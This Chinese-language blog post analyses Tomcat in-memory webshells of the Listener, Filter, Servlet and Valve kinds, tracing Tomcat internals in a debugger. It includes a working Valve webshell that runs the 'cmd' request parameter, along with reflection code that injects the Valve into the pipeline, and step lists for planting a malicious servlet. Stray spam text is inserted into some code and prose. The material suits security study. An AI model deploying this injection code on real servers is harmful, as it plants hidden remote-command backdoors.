Tomcat内存马分析

Posted on by hackdl

前言

自己简单搭建一个Tomcat项目，IDEA里选择JavaEE，勾上web就行了
加个依赖（这样就能找到三个Context了：


  org.apache.tomcat.embed
  tomcat-embed-core
  8.5.16

Tomcat的三个Context

ServletContext

ServletContext是Servlet规范中规定的ServletContext接口，一般servlet都要实现这个接口。大概就是规定了如果要实现一个WEB容器，他的Context里面要有这些东西：获取路径，获取参数，获取当前的filter，获取当前的servlet等

ApplicationContext

在Tomcat中，ServletContext规范的实现是ApplicationContext，因为门面模式的原因，实际套了一层ApplicationContextFacade。关于什么是门面模式具体可以看这篇文章，简单来讲就是加一层包装。
其中ApplicationContext实现了ServletContext规范定义的一些方法，例如addServlet,addFilter等

StandardContext

StandardContext存在于org.apache.catalina.core.StandardContext
实际上研究ApplicationContext的代码会发现，ApplicationContext所实现的方法其实都是调用的this.context中的方法,而这个this.context就是一个实例化的StandardContext对象
StandardContext是Tomcat中真正起作用的Context，负责跟Tomcat的底层交互，ApplicationContext其实更像对StandardContext的一种封装。用下面这张图来展示一下其中的关系：

Listen型内存马分析

前置内容


由图可知，最先接受请求并处理的就是Listen，这时候就可以在监听时，运行恶意代码，注入内存马。
Listen分为这几种：

  • ServletContext，服务器启动和终止时触发
  • Session，有关Session操作时触发
  • Request，访问服务时触发

Requset是最好触发和注入内存马的种类，只需要访问即可rce，在tomcat中Listen需实现两个接口LifecycleListener和EventListener，由于实现了LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段，此时客户端的请求还不能被解析，所以我们重点看EventListener

ServletRequestListener接口继承了它，因此我们只需要用ServletRequestListener即可servletRequestListener用于监听ServletRequest对象的创建和销毁，当我们访问任意资源，无论是servlet、jsp还是静态资源，都会触发requestInitialized方法
举个例子：

package com.example.tomcat_memoryma;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class Listener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre){
        System.out.println("执行了Test requestDestroyed");
    }
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("执行力Test requestInitialized");
    }
}

web.xml注册一下


    com.example.tomcat_memoryma.Listener

此时我们随便访问都会触发Listener

先Initialize后Destroy

流程分析

requestInitialized处下个断点，然后debug启动服务，就能看见调用栈了
反向溯源一下

在StandardContext中调用了listener.requestInitialized，往上看可以知道listener是从instance数组里的元素，instance是getApplicationEventListeners()的返回值，继续看上一个调用栈

在StandardHostValue中调用了fireRequestInitEvent，而fireRequestInitEvent中调用了getApplicationEventListeners()，而getApplicationEventListeners()就是StandardContext中的一个方法，所以利用思路就是获取StandardContext来调用getApplicationEventListeners()，进而添加恶意监听器

StandardContext对象获取

方式一

通过request对象来获取

首先根据request对象反射获取request属性，然后再调用getContext方法获取StandardContext对象，溯源就可以发现StandardContext是Context的实现类，getContext方法返回的就是一个Context对象

方式二

通过Thread来获取

WebappClassLoader webappClassLoader = (WebappClassLoader) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoader.getResources().getContext();

和上面的原理一样，也是一步步往上去找，会发现都对应了起来

内存马分析

根据这两种方法可以写出Listen型内存马

Filter型内存马分析

按照上面所讲的正常流程，Listen过后就是经过Filter过滤器处理请求，和Listen对应，Filter肯定也可以注入内存马，因为Filter有doFilter方法，用来将请求放行

Filter调用示例

准备一个简单的filter示例：

package com.example.tomcat_memoryma;
import javax.servlet.*;
import java.io.IOException;

public class FilterDemo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filter 初始化");
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        System.out.println("doFilter 过滤");
        // 放行
        chain.doFilter(request,response);
    }
    @Override
    public void destroy(){
        System.out.println("filter 销毁");
    }
}

在web.xml中注册Filter

 
    FilterDemo
    com.example.tomcat_memoryma.FilterDemo


    FilterDemo
    /*

启动web服务

关闭web服务

doFilter处下个断点，debug启动，看调用栈

最后一步是在ApplicationFilterChain类中调用了doFilter方法,并且通过一个ApplicationFilterConfig对象来获取所有的filters

溯源发现filters是一个ApplicationFilterConfig[]对象数组

继续往回走，该类调用了internalDoFilter方法

再往回走，在StandrdWrapperValue类中调用了filterChain.doFilter

这个filterChain中存放的就是我们所定义的filter，可以看到filter是一个ApplicationFIlterConfig类型的数组

接下来分析一下createFilterChain是如何将我们的filter添加进ApplicationFIlterConfig的，首先先获取了Request对象，实际上就是一个HttpServlet，然后通过HttpServlet获取了Filterchain

往后看，用StandardContext获取了FilterMap数组

后面通过FilterMap获取道filterConfig并放入到filterChain中
跟进addFilter，在这做的事情其实和上一步一样，遍历filter然后放入ApplicationFilterConfig[]中，这个filters数组就是上面说的ApplicationFilterConfig[]数组对象，通过调试可以发现有几个比较显眼的对象名称：

  • filterMaps拿名字
  • filterConfigs拿过滤器（值）

这两个变量在StandradContext中都有定义，其中还有个filterDefs也是一个重要变量，这个后续会讲：

FilterMap

FilterMap可以通过StandardContext去添加

FilterConfigs

StandardContext当然也存在对FilterConfigs操作的方法

其中调用了filterConfigs.put方法添加，从源码不难看懂这是初始化时候做的事情，所以我们这里打个断点，重新启动一下。filterDefs中存放了我们的TestFilter和TestFIlter的过滤器，遍历filterDefs，拿到了key（Testfilter）和value，之后通过new一个ApplicationConfig将值存入filterConfig中：

FilterDefs

通过分析，其实发现filterdefs才是真正存放了filter的地方，在StandradContext中也有添加filterDefs的方法：

可以想到，tomcat是从web.xml中读取的filter，然后加入了filterMap和filterDef变量中，以下对应着这两个变量，其中filter-mapping对应着filterMap

内存马分析

以上唯一需要注意的点就是filterMap.setDispatcher(DispatcherType.REQUEST.name());，我们在分析流程的时候是没有见过这个Dispatch的，这是一个坑点

filterMaps里有dispatcherMapping这个属性，在FilterMap中也有这个
在这里设置成REQUEST就行，这样我们就能通过request命令执行
注意我是在windows下运行的，所以上面内存马改一下，把bash换成cmd，-c换成/c

Servlet型内存马

准备一个servlet例子：

package com.example.tomcat_memoryma;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class HelloServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().write("Hello World");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

在web.xml注册


    HelloServlet
    com.example.tomcat_memoryma.HelloServlet


    HelloServlet
    /hello

创建StandardWrapper

在StandardContext#startInternal中，调用了fireLifecycleEvent()方法解析web.xml文件，我们在此下断点跟进：

在ContextConfig#webConfig()解析了xml文件，然后调用了configureContext

跟进，可以看到前面的一些操作是对listen，filter的，按顺序来到对servlet的处理

.........
        for (ServletDef servlet : webxml.getServlets().values()) {
            //创建StandardWrapper对象
            Wrapper wrapper = context.createWrapper();
            // Description is ignored
            // Display name is ignored
            // Icons are ignored

            // jsp-file gets passed to the JSP Servlet as an init-param

            if (servlet.getLoadOnStartup() != null) {
            //设置LoadOnStartup属性

                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
            }
            if (servlet.getEnabled() != null) {
                wrapper.setEnabled(servlet.getEnabled().booleanValue());
            }
            //设置ServletName属性
            wrapper.setName(servlet.getServletName());
            Map params = servlet.getParameterMap();
            for (Entry entry : params.entrySet()) {
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
            Set roleRefs = servlet.getSecurityRoleRefs();
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }
             //设置ServletClass属性
            wrapper.setServletClass(servlet.getServletClass());
            MultipartDef multipartdef = servlet.getMultipartDef();
            if (multipartdef != null) {
                long maxFileSize = -1;
                long maxRequestSize = -1;
                int fileSizeThreshold = 0;

                if(null != multipartdef.getMaxFileSize()) {
                    maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
                }
                if(null != multipartdef.getMaxRequestSize()) {
                    maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
                }
                if(null != multipartdef.getFileSizeThreshold()) {
                    fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
                }

                wrapper.setMultipartConfigE服务器托管lement(new MultipartConfigElement(
                        multipartdef.getLocation(),
                        maxFileSize,
                        maxRequestSize,
                        fileSizeThreshold));
            }
            if (servlet.getAsyncSupported() != null) {
                wrapper.setAsyncSupported(
                        servlet.getAsyncSupported().booleanValue());
            }
            wrapper.setOverridable(servlet.isOverridable());
             //将包装好的StandWrapper添加进ContainerBase的children属性中
            context.addChild(wrapper);
        }
        for (Entry entry :
                webxml.getServletMappings().entrySet()) {
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }

最后用了context.addServletMappingDecoded加了对应的路由:

加载StandardWrapper

最后在StandardContext的findChildren获取到了StandardWrapper类
往下走就是一个加载流程，listen->filter->servlet，通过loadOnstartup()方法加载我们的wrapper

public boolean loadOnStartup(Container children[]) {

        // Collect "load on startup" servlets that need to be initialized
        TreeMap> map = new TreeMap();
        for (Container child : children) {
            Wrapper wrapper = (Wrapper) child;
            int loadOnStartup = wrapper.getLoadOnStartup();
            //判断属性loadOnStartup的值，因此这里应该大于0
            if (loadOnStartup  list = map.get(key);
            if (list == null) {
                list = new ArrayList();
                map.put(key, list);
            }
            list.add(wrapper);
        }

        // Load the collected "load on startup" servlets
        for (ArrayList list : map.values()) {
            for (Wrapper wrapper : list) {
                try {
                    wrapper.load();
                } catch (ServletException e) {
                    getLogger().error(sm.getString("standardContext.loadOnStartup.loadException",
                          getName(), wrapper.getName()), StandardWrapper.getRootCause(e));
                    // NOTE: load errors (including a servlet that throws
                    // UnavailableException from the init() method) are NOT
                    // fatal to application startup
                    // unless failCtxIfServletStartFails="true" is specified
                    if(getComputedFailCtxIfServletStartFails()) {
                        return false;
                    }
                }
            }
        }
        return true;

    }

上面有个判断loadOnStartup的值需要大于0才会继续去加载,这里的loadOnStartup对应servlet的懒加载机制（通过注解来设置路由等等），默认值为-1，此时只有当servlet被调用时Servlet才会被加载到内存中

内存马分析

通过上文的分析我们能够总结出创建Servlet的流程

  1. 获取StandardContext对象
  2. 编写恶意Servlet
  3. 通过StandardContext.createWrapper()创建StandardWrapper对象
  4. 设置StandardWrapper对象的loadOnStartup属性值
  5. 设置StandardWrapper对象的ServletName属性值
  6. 设置StandardWrapper对象的ServletClass属性值
  7. 将StandardWrapper对象添加进StandardContext对象的children属性中
  8. 通过StandardContext.addServletMappingDecoded()添加对应的路径映射

Valve型内存马

前置知识

参考：
https://xz.aliyun.com/t/11988#toc-19
valve是Tomcat中对Container组件进行的扩展。Container组件也就是前文一直提及的Tomcat四大容器
Tomcat由四大容器组成，分别是Engine、Host、Context、Wrapper。这四个组件是负责关系，存在包含关系。只包含一个引擎（Engine）：

Engine（引擎）：表示可运行的Catalina的servlet引擎实例，并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时，作为一个真正的容器，Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机，那么将根据默认的Host来判断该由哪个虚拟主机处理。
Host （虚拟主机）：作用就是运行多个应用，它负责安装和展开这些应用，并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App，每个Web App对应于一个Context，当Host获得一个请求时，将把该请求匹配到某个Context上，然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机，但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。
Context（上下文）：代表 Servlet 的 Context，它具备了 Servlet 运行的基本环境，它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例，一个Context代表一个Web应用，一个Web应用由一个或者多个Servlet实例组成。
Wrapper（包装器）：代表一个 Servlet，它负责管理一个 Servlet，包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器，它没有子容器了，所以调用它的 addChild 将会报错。

其实上述的话可以用下面这张图很好的概括：

在四个组件中都有pipeline，而储存在pipeline中的就是对应的Valve，我们可以创建一个demo分析一下:

package com.example.tomcat_memoryma;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.valves.ValveBase;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;

class EvilValve extends ValveBase{

    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        System.out.println("111");
        try {
            Runtime.getRuntime().exec(request.getParameter("cmd"));
        } catch (Exception e) {

        }
    }
}
public class TestValve extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            Field reqF = req.getClass().getDeclaredField("request");
            reqF.setAccessible(true);
            Request request = (Request) reqF.get(req);
            StandardContext standardContext = (StandardContext) request.getContext();
            standardContext.getPipeline().addValve(new EvilValve());
            resp.getWriter().write("inject success");
        } catch (Exception e) {
        }
    }
}

在web.xml注册


    TestValve
    com.example.tomcat_memoryma.TestValve


    TestValve
    /valve

在invoke处打个断点调试，可以看到调用栈里很多valve，看第一个调用的valve：StandardEngineValve

在这里获取了第一个valve，接下来就是按顺序不断的获取value，从这里可以发现，value链是通过invoke方法进行放行的，当前value的invoke执行后就会执行下一个value的invoke方法，我们进一步溯源：

从上面这张图可以看到获取组件的顺序，先获取Container在获取pipeline最后获取valve并且在StandardPipeline中有方法addvalue：

这样我们的注入思路就有了

获取Context

Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();

获取pipeline

Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
pipelineField.setAccessible(true);
StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);

创建恶意valve并且添加进standardpipeline

ValveBase valveBase = new ValveBase() {
        @Override
        public void invoke(Request request, Response response){
            try {
                Runtime.getRuntime().exec("calc");
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    };
    standardPipeline1.addValve(valveBase);
    this.getNext().invoke(request, response);

这里为了让程序继续执行服务器托管下去，恶意value类也必须要调用下一个value的invoke方法，否则无法正常进行

内存马分析


valve内存马的一个缺点就是让其它jsp文件失效了，我测试是这样的

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